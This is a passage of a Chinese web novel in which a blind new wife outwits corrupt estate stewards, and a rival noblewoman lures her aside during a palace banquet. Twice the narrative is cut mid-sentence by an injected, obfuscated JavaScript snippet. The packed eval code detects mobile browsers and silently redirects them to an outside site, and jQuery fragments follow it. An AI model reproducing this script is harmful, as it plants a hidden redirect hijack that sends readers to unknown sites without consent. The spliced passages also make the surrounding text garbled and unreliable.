此时的前院里,众管事正齐聚一堂,敛声屏气地等屋内的一大一小发话。 不必说,这二人自是程素和卫若。 这两人一个刚过门不久,另一个常居内宅,几乎从不见生人,对于侯府外的管事们而言,都还是头一次打交道。 起初,众人看这位少夫人年轻秀美,只当是个好说话的,但这两天下来,也收了轻视之心,不得不打起十二万分精神。 旁边的三姑娘卫若虽从始至终坐在旁不吭声,但谁人不知,这位更是老夫人的心头肉,同样无人敢怠慢。 听完管事们的禀报,程素问道:“邬管事,你方才说今年怀州也遭了水患,庄子的收成才减半了,当真如此吗?” 被点到名字的邬管事早已料到她可能问话,不慌不忙道:“小人岂敢在夫人面前做假,怀州、平洲两地相隔甚近,今年平洲发了大水,连带周边也遭了殃,这事谭管事也可替小人作证。” 旁边身材矮胖的管事连连应声。 程素点点头:“巧了,我虽未曾亲自去过这两地,却也听说过,怀州与周边各州不同,那一带的河堤牢固,纵是黄河泛滥,也少有祸及到那里的百姓。何况平洲今年虽有水患,却并未听说有泛滥至周边其他州县。但听你们二人的意思,莫非是当地的官员瞒报了灾情?” 邬管事一时失语:“这……” 他额头渗出汗来,正绞尽脑汁想着如何应付过去,门外忽然传来声音:“这里好生热闹,今日怎么这么多人。” 话音刚落,薛氏一阵风似的带着人进了门。 18. 第十八章 薛氏环视四周,挑眉笑道:“原来是诸位进京来了,难怪这样大的排场。” 在场的不少管事们,往常年也是跟薛氏打过交道的,见她来了纷纷问好,尤其方才的邬管事等人,更是面露喜色,恨不能亲自上前去迎。 薛氏矜持地微微颔首,与众人寒暄几句,直把整个前厅当作了莳芳院。 他们只当程素目不能视,也懒得遮掩形色,不曾想一举一动都落在了角落里一言不发的卫若眼中。 卫若虽年幼天真,却也不是糊涂的,哪里看不明白这伙人早有勾结。 只是她这些日子陪在程素身边,早就明白多看多听的重要性,当下便压了心头的忿忿不平,只等事后再跟程素告状。 薛氏耍够了威风,似乎才看到程素她们似的,笑问道:“瞧我这记性,险些忘了老夫人已经让新媳妇管家了。还不知今年各地的收成如何,我这几年虽然不怎么管这些事了,也能帮你看一看。” 程素没有与她计较,让丫鬟取了先前管事们呈上的礼单,薛氏随手翻看了几页道:“我来得不巧了,你们方才在说什么,继续便好,不必在意我。” 那邬管事连忙道:“四夫人,您既然来了,也来帮小人说句话。少夫人见下面的庄子今年收成不好,只当小的有意欺瞒,这小人是万万不敢的。” 薛氏似笑非笑地看了他一眼,转头又对程素和颜悦色道:“这邬管事也是府里的老人了,你才刚刚当家,哪里知道下面人的不易。庄户人家种地,风一阵雨一阵的,旱涝虫害轮番来,稍有不慎,大半年的收成就搭进去了,偶尔有一两年歉收的,也是常事。” 从方才她进门起,程素就没怎么说过话,这会儿听了她的话,脸上也不见喜怒,仍是淡淡道:“虽是如此,也没有年年亏损的道理。这庄子既是不好,年年都碰上这些事,便也只能卖了。” 这句话如同惊雷般落下,不仅把一众管事们吓了一跳,就连薛氏也惊着了。 她不过是帮着邬管事等人糊弄了收成的事,这瞎子居然能想把庄子卖了。 更震惊的还是一众管事们。 庄子和田地虽是侯府的,可也跟他们的身家性命相系。若是要把庄子都卖了,他们这些管事又能上哪去? 一时之间,众人神情各异。 有人张口欲提醒,又只能摇头无声叹气;有人面上看不出喜怒,只是若有所思,还有的如邬管事等人,更是急得眼都红了,要真没了庄子的差事,别说捞油水了,他们的饭碗都要砸了。 程素似乎也察觉到众人惊讶,开口解释到:“上次老夫人回了江州老家后,跟我说有意在那边多置田产,好照拂族人,既要购置新的,那连年亏损的旧庄子自然就要买了。再者,府里的田地庄子安置的太远,与京城往来不便,我正打算陆陆续续购置些新的田产,方便日后打理。” 事情哪是你说得那么轻巧的。 邬管事在心中暗骂,但转瞬就意识到了什么,睁大了眼扭头去看薛氏。 薛氏也想到了什么,强压着心头涌上的喜意,反而劝道:“这么大的事,总要先问过老夫人的意思吧。” 程素却一副胸有成竹的模样:“我已问过了,她老人家只说府里的事既已交给我了,便让我放手去做。” 薛氏险些没笑出声来,不过看一旁的邬管事等人还在拼命给她使眼色,连忙道:“事情既是你做主,庄子自然可以再买。只是这些管事也是府里的老人了,若只因这一两年的收成不满意,便又要卖地,又要随意地打发了他们,也未免也太让底下的人寒心了。” 程素微微颔首:“四婶说的是。” 她接连点了连同邬管事在内等几人的名字:“你等回去以后,好生去当地寻些可靠的买主,待年后再进京来细细禀报。这一两年间,我会命人再在江州、京畿等地另置些田地,日后到了新庄子上,若还像过去那样,就休怪我不讲情面了。” 邬管事等人连称不敢。 话说到这里,程素脸上也露出了倦怠之色:“好了,今日就到这里吧。我已和底下的人打过招呼,诸位既然大老远地来了京城,便在这里过完年再走。” 她要亲自起身送客,众人哪里敢让她来送,连忙纷纷告辞了。 方才还人满为患的屋子转眼空了大半,薛氏心里另有盘算,这会儿也无心纠缠程素了,随便找了个借口也走了。 出了前厅,只见邬管事等人正立在廊下,仿佛也料定了她会跟着出来。 双方早就打过交道,如今不过一个眼神,便知道了彼此的意思。 不过毕竟是在侯府,也不是议事的地方,邬管事拱手一礼:“今日还多谢夫人替我等说话,等改日再来拜访夫人。” 这头跟邬管事等人说定,薛氏转头便让人备了马车,出门便往娘家那边去了。 薛家住在城西的酸枣巷,那一带住的大多是些品级不高的小官员,跟寻常百姓比,虽然大小也算是个官,可在京城这等风.流富贵之地,便算不上什么了。 正是年节时分,巷子里各家都忙着过年,街上也冷清无人。 门子玩忽职守,聚集了几个仆役正在玩骰子,冷不丁见了一群人闯了进来,正要喝骂,看清来的是谁后却打了一个激灵,连忙起身相迎。 “姑奶奶回来了,快去禀报。” 薛氏眉头微皱,眼里飞快地闪过一抹嫌弃之色。虽是自己的娘家,可到底是小门小户,比不上侯府的下人规矩。 她一路被人簇拥着,很快来到了正堂,恰巧她名义上的大哥薛钊和其他几房的人都在,见她来了连忙来迎。 薛氏也没有跟他们客气,当仁不让地坐了最上首的位置。 薛家门庭不高,往上数三代,官职最高的也不过是个六品的百户。 自从她嫁入了侯府之后,便再也不是当初那个唯唯诺诺的庶女了。每次她回来,不仅父兄都亲自相迎,就是昔日的嫡母也要在一旁倒茶赔笑。 尤其在她执掌中馈后,更成了薛家人人尊敬的姑奶奶。 毕竟但凡从她指缝里流出来那么一点,都够薛家这破落户过个肥年的,谁人能不捧着这现成的财神爷呢。 当然,就算是血脉亲人,薛氏也不会没缘由地就给薛家这些人好处。 她最初嫁出去那几年,还记恨着未出阁前受过的欺负,几乎不怎么回来。直到由她来打理侯府中馈时,手下实在缺得力的人,这才又想起了娘家这帮人。 她毕竟没有一母同胞的兄弟姐妹,出嫁前在家里也不受宠,身边只有几个丫鬟陪嫁,都是些不堪大用的。 卫家的下人虽然好用,可府里上上下下都听那老太婆的,无论她想做点什么手脚,都逃不开她的耳目,有了薛家人的帮衬,她也能有人跑腿办点私事。 一来二往,两边才又重新走动起来。 薛家一家老小都仰仗着她这个姑奶奶谋前途,自然对她恭恭敬敬的。 她不紧不慢地抿了一口茶,这才把程素要卖了外地几处庄子的事一说,瞬间就勾起了薛家众人的兴趣。 卫家既然要买卖庄子,这里面可做的手脚就多了。比如说,程素想在京畿等地购置田产,但凡他们提前做个局,出个高价,就能狠狠地宰她一笔。 还有那邬管事,本就是薛氏这边的人,只要他们把要脱手的庄子价格压上几成,再一倒手重新买入,就可以把卫家大片的良田都收入囊中。 这腾笼换鸟的手段,他们以前也不是没做过,前些年薛氏就是这样从侯府抠出了不少私产,攒下了偌大一副身家。 不过这一回,程素打算脱手的那些庄子,真要吞下来可不是一笔小买卖。 就是薛氏自己,一时也拿不出那么多银子来周转,加上她也不好出面,这才又把主意打到了娘家身上。 众人一听,果然无不意动,只是听说要钱,还是不免犹豫。 薛氏早料到如此,冷笑一声:“就知道你们都是有那贼心没那贼胆的,若是你们不愿,这买卖我自去寻别人来做。” 薛钊心道,若我们都是贼,那你才是那头一号贼婆娘,不过他面上还是赔笑道:“妹妹何必生气,这事且容我们再仔细商量,从长计议。” …… 正当薛家众人筹谋如何吞下那些庄子之时,另一头刚送走了众人,卫若便急急地唤她:“素素姐姐……不能……” 程素摇了摇头,只是摸摸她的脑袋,什么也没说,就去了松芝堂。 卫若见她这样,便知道她心里必然早有主意,便也放下心来。 两人去松芝堂陪老夫人寒暄了一阵儿,程素说道:“……今早后园那边的腊梅开了,白芷她们剪了几支供在瓶子里,清香袭人,远胜过寻常的熏香 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卫若哪里不知道自己的小心思早被看穿了,小脸瞬间羞得通红,一边摇头一边往老夫人怀里钻,被老夫人一把搂住,笑道:“好孩子,家里的事都有我和你素素姐姐呢,你什么也不用担心。” 三人正说笑之时,外面的仆妇忽然来报:“宫里来人传旨了。” 众人连忙起身去外面接旨。 原来是宫里传话,命各家勋贵、官员连同命妇除夕那日进宫赴宴。像老夫人这样的诰命,自然是在名单上的。 只是往常年她都是一个人进宫的,后半夜再匆匆赶回举行家宴。今年圣上和皇后娘娘特地开恩,让各家都可携一二亲眷共同赴宴,与天家同乐。 卫琅早先就交待过,程素今年是必然随老夫人同去的。只是她如今的行动还多有不便,少不了要人扶携。 “……若若也要去?” 卫若惊讶道。 老夫人试探道:“若若你想去吗?陪祖母,还有你素素姐姐一起。若是你实在不想去,也不用勉强……” 卫若看了一眼旁边的程素,竟然脆生生地答应了:“好啊,若若也去。” 听到卫若肯出门了,老夫人的眼眶有些湿润,欣慰道:“好,若若也跟着一起去,今年咱们三个一起。” …… 转眼就到了除夕当日。 一大清早,卫家众人就在老夫人的带领下先祭了祖。 程素随着卫琅等人,一道磕头上香。 她看不见摆在前方的重重牌位,却也能明显感觉到身旁沉重压抑的氛围,再想想卫琅的父母,还有卫若的父母、小叔,以及远在边关的二叔二婶一家…… 那些年这一家只剩老的老,小的小,也难怪从前老夫人一到过年时就要伤怀。 她心里微叹,也不知如何能安慰到身旁的人,只能握紧了他的手。 很快,卫琅也紧紧地回握过来。 祭祀结束后,离傍晚还早。 给下人们的赏钱早已提前发下去了,府里一切事务也早都打点妥当了,众人便陪在老夫人身边说话解闷。 只有薛氏陪坐了没一会儿,推脱说自己昨晚没睡好,有些乏了,要回去休息一阵子,等晚间家宴再来,也没人留她,便让她那么回去了。 直至傍晚时分,程素才在丫鬟们的搀扶下,跟老夫人、卫若一道登上了侯府的马车,准备前去宫里赴宴。 虽都是头一次入宫,不过程素她们事先蒙老夫人教导过,自是处处小心。 众人在宫娥的指引下,很快来到了乾元殿,此时皇后以及贵妃等人尚未到来,各家依次序落座入席等待。 刚一入席,程素就察觉到不远处似乎有一道若有若无的视线正在窥视自己。 她自从双目失明后,对周边的细微异动便极其敏感,当即下意识抬头望去。 可眼前仍只有一片黑暗。 她只好轻声问身旁的卫若:“若若,你帮我看一看,那里坐的是什么人。” 卫若往那个方向眺望了一眼,她不常出门,几乎也不认识什么人,又特意去问了老夫人,这才回来跟她说悄悄话:“那边坐的是永宁公主殿下。” “原来是公主殿下吗?”程素若有所思道,“可惜,我竟无缘一见。” 19. 第十九章 程素回京的日子不算久,对京中权贵圈子的许多事只是一知半解,不过毕竟涉及皇家,她还是听说过一二的。 这位公主乃是当今皇后所出,与二皇子是一母同胞的兄妹,若论盛宠,只怕还要略微胜过其同父异母的姐姐永平公主。 卫若笨拙地安慰她:“会好的……太医伯伯们说过,素素姐姐扎针、吃药,再过不久,很快就能看见了。” 程素哑然失笑:“好,等我的眼好了,不仅能看公主,也能看见我们若若了。” 说话之间,皇后和贵妃等人到了。 众女眷连忙起身,向皇后等人行过大礼后,这才又重新入座。 丝竹声响,歌舞渐起。 殿内灯火如昼,宫娥们鱼贯而入,各色珍馐佳肴、山珍海味如同流水一般被传入殿内,安置在众人身前的案几上。 这等盛大的场面,对于寻常人来说,再怎么样也能看个热闹,可对于程素而言,却着实没什么滋味。 再好的歌舞她也只能侧耳聆听,却无法亲眼欣赏;佳肴明明触手可及,可她也难以在没人帮忙的情况下尽情取用,再加上为了避免失仪,索性也就不吃了。 身旁的卫若悄悄问她饿不饿,程素也只是摇摇头,静静地端坐在老夫人身后,等待着这场宫宴结束。 但宫宴既开,哪是一时半会儿就能散场的。时间一分一秒地流逝,笙歌始终没有停歇的迹象,倒是殿内的气氛渐渐轻松了些。各家女眷们偶尔有离席走动的,借机与交好的人家打声招呼。 定远侯府的女眷这些年来几乎不怎么出现京中的社交场合,难得露一次面,便有不少故旧过来问候老夫人。 程素虽然只是陪衬,但这种时候也少不了要与人交际,还要帮忙照顾到头一次到这种大场合的卫若。 但更多时候,她只是静静坐着。 殿内丝竹乐声、喁喁私语声混杂在一起,从四面八方传来,让她的感官有些模糊,可那种若有若无的被窥视感,却始终如影随形般附在她身上。 她没有再抬头看去,单薄的背脊始终挺得笔直,仿佛什么也没有察觉。 …… 不远处的高台上,也正是先前卫若所看向的地方,有几名贵族女眷正在簇拥着正中的永宁公主谈笑。 作为当今圣上最宠爱的公主之一,当今皇后亲生的女儿,永宁公主身边素来不缺陪她玩乐解闷的女伴。 这些女伴不是宗室出身,就是勋贵大臣之女,身份高贵,每当永宁公主说了什么,便争先恐后地捧场。 众人之中还坐着一名年轻女子,虽然脸上明显施了脂粉,精心妆扮过,眉眼间却有股遮不住的郁郁之色。 永宁公主瞥了她一眼:“乐安,你一直往那边看什么呢,可是有你的旧识?若与你要好,不妨请过来一起喝酒。” 乐安县主忙打起精神道:“不过是随便看看罢了,哪里是什么旧识。” 她不肯承认,永宁公主却偏不肯就这样放过她:“当真不是你认识的人?你看了可不止一眼两眼了,那是定远侯府家的人吧,不如我让人请过来一叙。” 乐安县主连忙道:“不必不必,我只是想起半年前听说卫家老夫人给定了门极不般配的亲事,女方据说是个孤女,还双目失明,一时好奇罢了。” 永宁公主当然也知道这事,闻言也往那边看了一眼:“瞧着倒是个美人,不过也没什么好稀罕的。” 毕竟在这皇宫之中,最不缺的就是各色美人。 乐安心中哂笑一声,语气也轻松多了:“若非是位美人,只怕也入不了卫家的法眼。依照那位的脾性,若当真不满意婚事,怎么也要闹上一场。” 永宁公主不知想起了什么,笑意有些古怪:“他满意不满意,又能如何呢?” 乐安听出不对,连忙询问。 她瞥了一眼不远处的永平公主,漫不经心道:“听说他们成婚没几天,那位就送了个舞姬过去,卫琅也当场收下了,可见这位侯夫人的日子过得也不怎么样。” 乐安故作惊讶地掩住了嘴。 这两位公主不对付几乎是人尽皆知的事,不过她没想到就连永平公主和卫家私下的交际,都瞒不过永宁公主的耳目。 永宁公主漫不经心地把玩着手心里的酒杯,冷不丁问道:“……我这么一说,你是不是就放心了?” 乐安县主的笑意瞬间僵在了脸上,她只觉喉咙发干:“殿下,这是何意……” 永宁公主笑吟吟道:“我听说韩仪宾当年与你成婚前,曾有过一桩青梅竹马的婚约。只是对面家里被罢官流放,那婚约自然也不作数了,是也不是。喏,巧了,他那无缘的青梅,不正是下头那人吗。” 乐安县主脸色瞬间惨白。 她怎么也没想到,永宁公主竟然会对这些陈年旧事一清二楚。明明事情已经过去了五年了,就是当年,知道这些事的人也有限。此时被人毫不留情地当面戳穿,她只觉脸上火辣辣的。 看她这副不争气的模样,永宁公主反倒安慰起她来:“怕什么,就是她如今飞上枝头了,你也是县主,身份有别。” 乐安县主勉强地笑了笑,她一时竟不知永宁是有心还是无意,一会儿要戏弄她,一会儿又这样安慰她。 永宁公主看她仍旧提不起精神,一脸惋惜道:“乐安,你从前的脾气可不是这样的,怎么如今反倒这般畏缩。不就是一桩婚事吗?那也只能说明她命里合该如此。倒是你这样心慌气短,莫不是日后迎面撞上了,你也要自觉矮她一头?” 乐安脱口而出道:“当然不会。” 永宁公主笑道:“这就是了,那些陈年旧事早都过去了,她如今嫁得也算不错了,真要说还是托了你的福呢。日后你们都要在京中走动,早晚都要见面。今日既然碰上了,何不去叙叙旧呢?” 一番话说得乐安浑身上下说不出的不自在,心里仿佛有团火烧得慌。 她的眼神有些闪烁:“这……今日宫宴,人多眼杂,只怕不方便。” 永宁公主意兴阑珊道:“既然你不愿,那就罢了,来,咱们继续饮酒。” …… 另一边。 台下的程素仍端坐在案几后,忽然察觉到身边有人接近,下意识扭头望去。 对方是个宫女,轻声道:“夫人,奴婢是来为您换酒的。” 到底是冬日,尽管殿内暖意熏人,但席上的酒水放久凉了,吃了对身子也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17074325|193938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不好,故而不时有宫人巡回更换。 程素摇头:“不必了,我不吃酒。” 她每日不仅要接受太医诊脉,还要额外施针用药,酒自然是不能沾的。 那宫女应下,随即又道:“既然如此,奴婢为您换壶热茶来。” 也不知她做了什么,突然口中惊呼一声,紧接着哐啷一声碎响声,程素只觉零星几点飞溅而出的酒水落在了手背上,裙衫上很快也传来了被酒水洇湿的温热感。 宫女吓得不行,连连道歉,另一名年长些的宫女匆匆赶来,歉意道:“宫中有备用的衣服,还请夫人随我移步。” 像这等宴会场合,为了避免意外的发生,无论是主家,还是客人自己,按例都会预备更换的衣物。尤其在宫中随时可能觐见贵人的地方,更是有备无患。 程素微微颔首,起身准备去更衣。 卫若下意识想跟过去,却被她劝住:“若若,你先留在这里陪老夫人,我有白芷她们陪着,去去就来。” “可是……” 今日进宫赴宴的各家女眷有数百人,每家能带的丫鬟不过二三人,像程素这样情况特殊的,身边也不过带了白芷和青桂两人,怎么看着都让人不放心。 卫若有些迟疑,却听程素温声道:“放心吧,这可是宫里,不会有事的。” 听她这样说,卫若只好乖乖坐着。 程素交待青桂看好了卫若,只身带了白芷随着两名宫女离去。 一离了大殿,寒风迎面扑来。 程素默默地裹紧了身上的斗篷,任凭白芷牵引着步步向前。 她们走了好一会儿,眼看前面的宫女还要绕弯,白芷狐疑道:“这位姐姐,不是要去更换衣物,怎么走这么远?” 那名宫女道:“姑娘有所不知,陛下与文武百官正在外殿宴饮,外面人多混杂,万一有外臣不小心走错了地方,闯入殿内,只怕要闹出不好来。” 这话说得也不是没有道理,白芷也不好再问,只得又跟着拐过一处墙角。对方将主仆二人带到一间屋内,交待道:“请夫人稍坐片刻,奴婢这就去取衣物过来。” 说完这句话,那名带路的宫女就退下了。直至过了小半柱香的时间,人也不见复返,白芷终于觉出不对了。 她一时急得团团转,不知如何是好,这明摆着是个局,专门冲她们来的。 她自然不想留在这里坐以待毙,然而若此时带姑娘回去,不说在宫里这人生地不熟的地方,刚才那宫女还带她们七拐八绕转了这么长时间,她更怕的还是万一出了门,反而遇上更不好的事。 程素拍拍她的手示意:“稍安勿躁。” 白芷见她神色平静,虽然有些不解,但也只好陪她等待着。 程素也没有让白芷困惑太久。 双目失明后,她虽再也看不见,耳力、嗅觉等其他感官反而越发敏锐。 自从进了这间屋子后,她便隐隐嗅到了脂粉香混杂着一股名贵的沉水香的气息。尤其在那引路的宫女离开后,那香气仍然萦绕在屋子的某个角落,久久未散。 程素望向那一片黑暗:“既然特意差人请我出来,何不当面一见呢?” “乐安县主。” 20. 第二十章 另一边。 皇后率众女眷们在内殿宴饮时,隆兴帝也同样在外殿大宴群臣。 酒过三巡后,席上的氛围也渐渐松快了些,他借着酒意,一边与朝臣们闲话家常,一边不时赏赐功臣。 年前官员们的赏赐已经发过一轮了,这会儿赏的大多只是酒菜。不过对于得了赏的官员而言,哪怕只是得了几道御赐的佳肴,也是莫大的殊荣。 眼看气氛正好,隆兴帝瞥了一眼卫琅,忽而笑道:“半年前,定远侯大破东南水匪,朕还一直还没来得及好好封赏。这几个月以来,他在五城兵马司任上干得也算可圈可点。按道理,也是时候给他论功行赏了,不知诸位爱卿意下如何?” 众臣子:…… 眼看没人接话,卫琅怎么可能让他冷场,当仁不让地站了出来,开口就是一句:“臣多谢陛下。” 隆兴帝嘴角抽了抽,他还没说什么呢,这小子倒是会顺着竿子往上爬。不过戏已经唱了一半了,他也只能继续下去:“……诸位爱卿可有异议?” 众臣子:…… 若说先前还有人想找借口拦着皇帝提拔卫琅,这几个月下来,大家巴不得他早点升官走人。再让这小子指挥着五城兵马司那群人到处惹是生非下去,还不知道要有多少人被他掀了家丑。 何况隆兴帝这边也明摆着铁了心要提拔人,哪个皇帝身边没有一二小人呢。 大过年的,实在没必要得罪圣上。 眼见无人反对,隆兴帝龙颜大悦,大手一挥:“既然如此,那就传朕旨意,定远侯卫琅从即日起兼领金吾卫指挥同知,其妻程氏封为五品宜人,赐黄金千两、宫缎五十匹、玉如意一双。” 卫琅连忙跪下谢恩。 他那个官职倒还不算什么,横竖都是要给这位陛下干活的,倒是给素素捞到了个诰命,这才是正经事。 虽然五品诰命不算多高,但胜在他们都还年轻,日后还有的是机会。 这边隆兴帝的旨意一下,他身边的一名太监便悄然离开,往内殿传旨去了。 卫琅回到座位上,一边美滋滋地想着程素听到圣旨时的惊愕模样,一边盘算起晚上回去该怎么向她讨赏。 然而等了好一会儿,也不见那名传旨太监回来。 他正觉得有些奇怪,只见刚才那名传旨太监匆匆回返,低头跟隆兴帝身边伺候的大太监高满低声说了些什么。 恰巧高满也往他这边瞟了一眼,二人的视线在半空中交汇。卫琅心里咯噔一下,直觉事情有些不太对劲,立即给木通使了个颜色,让他赶紧出去找人打听。 没过一会儿,木通匆匆赶回。 原来,方才那传旨太监去了内殿,却发现周围竟找不到程素的踪影了。 皇后已知晓此事,为避免惊动宾客,尚没有声张,已命宫人去四下寻找了。 卫琅霎时只觉得浑身的鲜血都在往头顶涌去,素素的性子向来谨慎,她初次入宫,定然不会随意乱走动。定是有人趁她双眼不便,背地里把人带走了。 这是在宫里,甚至还是在宫宴之上,竟然都有人敢对他的人动手。 情急之下,他想也不想地跨步而出,高声喊道:“陛下,求您为臣做主啊!” …… 另一边。 站在帘后的乐安县主闻言被吓了一跳,失声道:“你、你怎么知道是我?你的眼能看见?你是装的?” 她与程素从未谋面,冷不丁听到对方张口点出她的名字,一时有些慌乱。 程素轻声解释:“昔年我在京城中时,鲜少出门交际,也从未得罪过什么人。就是有几位闺中好友,她们也已远嫁外地,无人能在宫中把我带到这里来。想来想去,也只有县主能如此了。” 听她说是猜的,乐安也定了定心神,冷哼一声:“若是你猜错了呢?” 程素微微笑道:“怎么会呢,难道县主不想见我吗?我回京不久后,韩元清便屡次三番去找我,县主想必是知情的。” 乐安的脸色更是难看。 程素说的没错。 她刚一回京,韩元清就天天往青槐巷跑,她怎能不知。可惜,她还没来得及做什么,程素竟然就攀附上了定远侯府。 直到出嫁前,程家门口都常有卫琅派去的人把守,加上对方也鲜少出门,她也没有机会下手,只能就此作罢。 乐安县主终于从帘后走出。 她无视了满脸警惕护在程素身前的白芷,居高临下地望着眼前的人。 屋内烛火幽微,光线昏暗,却丝毫无损眼前人清丽如玉的容颜,反而越发衬出了她眉宇间那股柔和沉静的气韵。 她双眸清透,看人时目光并不躲闪,只静静地凝视前方,若非早知道对方是个瞎子,乐安险些以为对方也正在打量她。 想当年她父亲被贬流放,她去岭南待了几年,身上竟然不见被磋磨的痕迹,也难怪韩元清这么多年都对她念念不忘。 乐安县主冷冷道:“他与我成了婚,至今还对你旧情难忘,你很得意吧?” “县主认为我应该得意吗?” 程素反问道,“他与我自小相识,当年我家中落难,他不仅悔婚在先,还以施恩为由,欲纳我为妾。如此势利薄情之人,所谓的真心就如腥浊鱼目,弃之何惜。” 乐安县主死死地盯着她,忽然有些凄怆地大笑起来:“好好好,好一个鱼目腥浊,弃之何惜,你竟敢骂我有眼无珠!” 程素没有回应,只静静地听着她发出哭也似的笑声。 乐安县主这几年显然过得并不如意。 程素一家前往岭南的第二年,她的母亲宛陶长公主便去世了,她家很快便失了势。后来隆兴帝即位,她家里从前与端王府更是没什么交情,就是永宁公主,也是她这些日子费尽心思才搭上的。 如今她空有个县主的名头,可这在到处都是皇亲国戚的京城又算得了什么呢。 至于她和韩元清的婚姻,也是一塌糊涂。 乐安自幼被母亲宠着,性情跋扈。没过多久,她便和韩家人,甚至和韩元清都摩擦不断,渐生嫌隙。 再之后,乐安又发现他始终都没有忘了程素这个前未婚妻。 当时程素已经远在岭南,韩元清一有不顺心,便去青楼楚馆里找红颜知己,或是深夜喝得醉醺醺的才回来。 宛陶长公主去世后的一段时间,他反倒收敛了一阵子,乐安也消停了许多,两个人倒有了一点过日子的样子。 她这才意识到自己已嫁为人妇,不能再像从前那样了,开始打理中馈、操持家务,却也敌不过后宅的人事繁琐。 不过几年下来,她已被磨得心力交瘁,若不是程素回京,乐安几乎快回忆不起从前那个意气风发的自己了。 从前的她,那是何等风光,想要什么都唾手可得。就是看中了韩元清,哪怕他有相识多年的未婚妻,最后也折服于她。 当年她以为她赢了程素,对这个素未谋面的女人不屑一顾,可谁能想到世事难料。区区五年,许多事便大不相同了。 当初她沾沾自喜,以为以自己的身份和容貌,韩元清会选她也是理所应当。却未曾想,一个人若能抛弃自幼相识的青梅,那也值得托付吗?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17079915|193938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 乐安终于回过神后,渐渐冷静下来,脸上也露出了自嘲的神色:“我没想到,有朝一日竟然会被你可怜。” 程素摇摇头:“可怜?不敢当。” 她的语气含着某种说不出的意味:“回京之后,我也打听过县主。” 乐安挑了挑眉,有些惊讶。 “听闻当年我们一家被流放后,第二年您的母亲宛陶长公主殿前失仪,遭先帝斥责,回去不久后惊惧而死……” 听程素突然提起了母亲,乐安顿时勃然大怒:“你想说什么?!” 程素的语气舒缓,却令人心底莫名发寒:“当年我们一家前往岭南,沿途看押的差役敬佩我父亲的为人,曾私底下透露过,有人希望我们一家能死在路上……” 乐安县主闪过一抹不自在:“你跟我说这些做什么?” 程素只是自顾自地说了下去:“差役非但不肯下手,反而在途中多有照顾,我们一家本能平平安安抵达岭南。孰料有一天,我们竟然遇到了拦路的盗匪。县主,您不觉得这很罕见吗?” 乐安县主冷冷道:“这有什么好稀奇的?” 程素笑了笑,只是那笑意很淡:“拦路的盗匪不去抢商贾富豪,反而去抢被押送流放的罪臣,难道不反常吗?” 乐安正要发作,却听她飞快地说了下去:“虽然盗匪想杀人灭口,但我们一家还是侥幸得以逃出生天。仓促之间,我母亲受了惊吓,因此落下病根,我后脑受到重击,自此双目失明,算来已有五年了。” “从那时起,我便一直在想,我们一家当时已至绝路,又要前往岭南偏僻之地,究竟是谁还要不惜如此,痛下杀手。” 说到这里,程素竟然莞尔一笑:“其实这有什么好想的,不是县主出身高贵,习惯了不把人命放在眼里,便是宛陶长公主爱女心切,随手帮忙铲除后患罢了,却没想到,报应来得如此之快。” 她说罢抬眼,漆黑无神的双眼里,竟带着毫不掩饰的嘲弄和快意。 乐安县主早已怒火中烧,忍无可忍,她冷笑连连:“那盗匪就算是我派去的又怎么样,你能把我如何?你父亲在世时也不过是个四品官,真以为你嫁了侯府,就能踩到我头上来了?看在当年的份上,我本已打算放你一马,你竟如此不识抬举,就休怪我不客气了。” 她立即下令让贴身侍女上前制服白芷,顺便给程素点苦头尝尝,却听身后传来一声怒喝:“我看谁敢!” 下一秒,只听一声闷响,乐安被什么东西从后面砸中脑袋,惊呼一声摔倒在地,慌得两名侍女连忙去扶。 紧接着一道身影一阵风似的来到程素身边,查看起她的安危。 等乐安捂着脑袋被人从地上扶起,只见身后的屋门大开,门口不知何时站了乌泱泱一大群人。为首的竟是隆兴帝,身后跟着的竟是皇后和永宁公主等人。 而程素的身旁,赫然站着卫琅。 乐安县主哪里不知道自己已经大难临头,瞬间双腿发软,跪倒在地。她哪里能想到,她不过才把人带来一会儿,竟然就惊动了隆兴帝。 她强迫自己定了定心神,她还能解释,还有转圜的余地。 先前她就想过,她本来也没打算对程素做什么,只是把她喊出来看看罢了。 就算是有人发现了什么端倪,只要对外说是两人投缘,随意找了个地方闲谈片刻罢了,谅那程氏也不敢多说什么。 乐安正要张口,却被另一道声音打断了:“奴婢拜见陛下、娘娘。” 众人回头,只见一名丫鬟死死揪着一名被捆起来堵住嘴的宫女,跪在了地上。 21. 第二十一章 白芷望了一眼,赫然发现那丫鬟竟是本应该留在殿内的青桂。 这是怎么回事? 就连她一时也有些糊涂了。 隆兴帝命青桂起来回话,她才将事情的来龙去脉说了个明白:“回禀陛下,奴婢乃是定远侯府的丫鬟。此宫女以带领我家夫人更衣为由,将夫人骗至此处后,正欲走脱。仓促之间,奴婢只得将人捆了带来,还望陛下和娘娘严惩此人。” 她一边说着,还一边死死按着旁边的宫女,防止她挣扎。 侯府以军功立身,作为最初特意分给程素的贴身侍女之一,青桂自然也粗通拳脚。只是程素向来深居简出,后宅之中哪里用得上这些,没想到来了一趟宫宴,反而让她有了用武之地。 程素她们离开后不久,她也找借口出来,偷偷跟在她们后面。 眼看这宫女完成任务要溜走,她才顺手把人打昏,继续盯着程素这边。直至众人赶来,她才把人拖了出来。 